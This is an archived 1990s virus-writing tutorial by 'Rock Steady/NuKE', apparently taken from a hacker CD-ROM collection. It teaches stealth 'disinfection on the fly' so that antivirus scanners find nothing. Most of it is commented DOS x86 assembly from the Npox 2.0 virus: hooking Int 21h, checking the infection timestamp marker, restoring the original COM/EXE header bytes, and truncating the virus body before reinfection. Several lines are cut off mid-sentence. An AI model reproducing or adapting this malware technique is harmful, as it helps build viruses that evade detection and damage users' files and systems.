home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / virus / virusprogramming / rstut001.txt < prev    next >
Text File  |  1996-04-16  |  14KB  |  177 lines

  1.                     *************************************                     
  2.                     **  Disinfecting an Infected File  **                     
  3.                     **                                 **                     
  4.                     **       By Rock Steady/NuKE       **                     
  5.                     *************************************                     
  6.                                                                               
  7. The BEST advantage a virus can have is `Disinfecting of Fly' as we must       
  8. try to basically hide the virus as well as possible! And nowadays Anti-       
  9. Virus programs are going crazy. As I remember at the time Npox 2.0 was        
  10. developed it would Disinfect every file opened by F-prot and Scan and         
  11. when the Scanner found nothing and closed the file to go on to the next       
  12. Npox would re-infect them. Truly can cause havoc, As a matter of fact         
  13. Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he         
  14. added his own routine to open files by Int21h/6C00h, as Npox only             
  15. disinfected on Int21h/3Dh, however to make the virus disinfect on             
  16. Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ            
  17. string at DS:SI and put SI into DX so we have DS:DX pointing to it,           
  18. then run this routine.                                                        
  19.                                                                               
  20. The Basic idea on disinfection is this...                
  21.   -For .COM files                                        
  22.      Restore the first 3 bytes original Bytes of the program, these           
  23.      3 bytes are usually somewhere inside the virus, and then simply          
  24.      remove the virus from the end of the .COM file!                          
  25.      We do this by jumping to the end of the COM file and subtracting         
  26.      the Virus size from the File size and that new value is the              
  27.      original file size!                                                      
  28.      NOTE: if you write a virus that its length changes (Polymorphic)         
  29.      its wise to save the original Filesize to be infected before             
  30.      hand.                                                                    
  31.                                                                               
  32.   -For .EXE files & Overlays                                                  
  33.      This procedure is not different, just that if you changed CS:IP &        
  34.      SP:SS in the EXE header, simply restore the original values, or to       
  35.      save time, simple save the Original EXE header (first 1b bytes) in       
  36.      the virus and right that to the beginning as I did for Npox 2.0          
  37.      Then Subtract yourself from the original size and cut it off!            
  38.                                                                               
  39. I will now follow thru the Npox 2.0 virus routine Closely so you can under    
  40. stand this process.                                                           
  41.                                                          
  42. Okay first thing you would want to do is CHECK if this is
  43. If the virus infects COMs & EXEs, do not waste your time looking thru         
  44. other extensions, or for tight code you can waste your time and "HOPE"        
  45. the `infection' marker will fail! Meaning if the virus uses the seconds       
  46. field set to 60 (as Npox) then naturally only INFECTED files will have        
  47. a time stamp of 60! And this routine is not needed...                         
  48.                                                                               
  49. opening_file:   call    check_extension         ;Check for .COM extension     
  50.                 jnc     open_fuck2              ;YES; Jmp & Disinfect         
  51.                 call    check_exten_exe         ;Check for .EXE extension     
  52.                 jnc     open_fuck2              ;YES; Jmp & disinfect         
  53.                 jmp     dword ptr cs:[int21]    ;Other wise goto DOS          
  54.                                                                               
  55. ; At this point the file has an .COM or .EXE extension, so we continue        
  56.                                                                               
  57. open_fuck2:     push    ax                      ;Save AX                      
  58.                 mov     ax,3d02h                ;Ready to open                
  59.                 call    calldos21               ;Do it!                       
  60. ;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"   
  61. ;command, as the virus will intercept it, and will come to this routine       
  62. ;and it will continue over and over again, Never ending l
  63. ;stack gets too big, overwrite the code and the system ja
  64. ;in about 2 seconds...                                                        
  65.                 jnc     open_fuck1              ;No Error Continue            
  66.                 pop     ax                      ;restore                      
  67.                 iret                            ;Exit                         
  68.                                                                               
  69. open_fuck1:     push    bx                                                    
  70.                 push    cx                                                    
  71.                 push    dx                                                    
  72.                 push    ds                                                    
  73.                 mov     bx,ax                   ;BX=File handler              
  74.                 mov     ax,5700h                ;Get file TimeStamp           
  75.                 call    calldos21                                             
  76.                                                                               
  77.                 mov     al,cl                   ;move seconds into al         
  78.                 or      cl,1fh                  ;Left just seconds            
  79.                 dec     cx                      ;60 Seconds                   
  80.                 xor     al,cl                   ;cmp                          
  81.                 jnz     opening_exit3           ;NOT 60 seconds exit!         
  82.                                                                               
  83.                 dec     cx                                                    
  84.                 mov     word ptr cs:[old_time],cx  ;Save 
  85.                 mov     word ptr cs:[old_date],dx  ;Save Date Stamp           
  86.                                                                               
  87.                 mov     ax,4202h                ;Goto the End of File         
  88.                 xor     cx,cx                                                 
  89.                 xor     dx,dx                                                 
  90.                 call    calldos21                                             
  91.                                                                               
  92.                 mov     cx,dx                   ;Save the filesize            
  93.                 mov     dx,ax                   ;we will need it later        
  94.                                                 ;to subtract the virus        
  95.                 push    cx                      ;size fromit...               
  96.                 push    dx                      ;Save it...                   
  97.                                                                               
  98. Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header)    
  99. in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at        
  100. the VERY END! Since the buffer I made was 1B hex bytes, it is able to         
  101. hold the EXE header or 3 .com bytes, anyhow the beginning of these            
  102. bytes are the last 1B bytes, since its at the end... figure it out where      
  103. you saved your 3 bytes or exe header for your virus, or use the Npox          
  104. routine...                                               
  105.                                                          
  106.                 sub     dx,1Bh                  ;Subtract 1B bytes from       
  107.                 sbb     cx,0                    ;the filesize!                
  108.                 mov     ax,4200h                ;Now our pointer will         
  109.                 call    calldos21               ;point to the 1B bytes        
  110.                                                 ;Where the COM & EXE          
  111.                                                 ;original bytes are           
  112.                 push    cs                                                    
  113.                 pop     ds                      ;CS=DS (for exes)             
  114.                                                                               
  115.                 mov     ah,3fh                  ;Read them into Buffer        
  116.                 mov     cx,1Bh                  ;1B bytes                     
  117.                 mov     dx,offset buffer        ;to our buffer                
  118.                 call    calldos21                                             
  119.                                                                               
  120. humm, now we got the original bytes, all we gotta do is write them            
  121. back to the file's beginning...                                               
  122.                                                                               
  123.                 xor     cx,cx                   ;Goto Beginning of File       
  124.                 xor     dx,dx                   ;                             
  125.                 mov     ax,4200h                         
  126.                 call    calldos21                        
  127.                                                                               
  128.                 mov     ah,40h                  ;Write first three bytes      
  129.                 mov     dx,offset buffer        ;our buffer                   
  130.                 mov     cx,1Bh                  ;1B bytes for EXEs            
  131.                 cmp     word ptr cs:[buffer],5A4Dh                            
  132.                 je      open_exe_jmp            ;if EXE file jump             
  133.                 mov     cx,3h                   ;if COM write only 3 bytes    
  134. open_exe_jmp:   call    calldos21                                             
  135.                                                                               
  136. We wrote the original file's data back to place, now we need to cut the       
  137. virus off from the file, the virus is written at the end of the file,         
  138. so all we do is set our file-pointer to EOF - Virus_Size, which gives         
  139. us the original file length!                                                  
  140.                                                                               
  141.                 pop     dx                      ;EOF - Virus_Size             
  142.                 pop     cx                      ;to get ORIGINAL File size    
  143.                 sub     dx,virus_size           ;subtract virus size          
  144.                 sbb     cx,0                                                  
  145.                 mov     ax,4200h                                              
  146.                 call    calldos21                        
  147.                                                          
  148. Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at     
  149. our new ptr location, what we do it use does to crop it, by writing 0         
  150. bytes to the new location, DOS will make that new location the NEW            
  151. EoF and in result cutting off the virus and deleting its sector in the        
  152. fat.                                                                          
  153.                                                                               
  154.                 mov     ah,40h                  ;Write new EOF                
  155.                 xor     cx,cx                   ;Zero Bytes                   
  156.                 call    calldos21               ;doit                         
  157.                                                                               
  158.                 mov     cx,word ptr cs:[old_time]     ;Restore file time      
  159.                 mov     dx,word ptr cs:[old_date]     ;Restore file date      
  160.                 mov     ax,5701h                                              
  161.                 int     21h                                                   
  162.                                                                               
  163.                 mov     ah,3eh                  ;Close File                   
  164.                 call    calldos21                                             
  165.                                                                               
  166. opening_exit3:  pop     ds                                                    
  167.                 pop     dx                               
  168.                 pop     cx                               
  169.                 pop     bx                                                    
  170.                 pop     ax                                                    
  171.                 jmp     dword ptr cs:[int21]     ;Return to DOS...            
  172.                                                                               
  173. ahh, the file is now Disinfected, now we safely return it to DOS and DOS      
  174. may now open the file for inspection...                                       
  175.                                                                               
  176.                                 Rock Steady/NuKE                              
  177.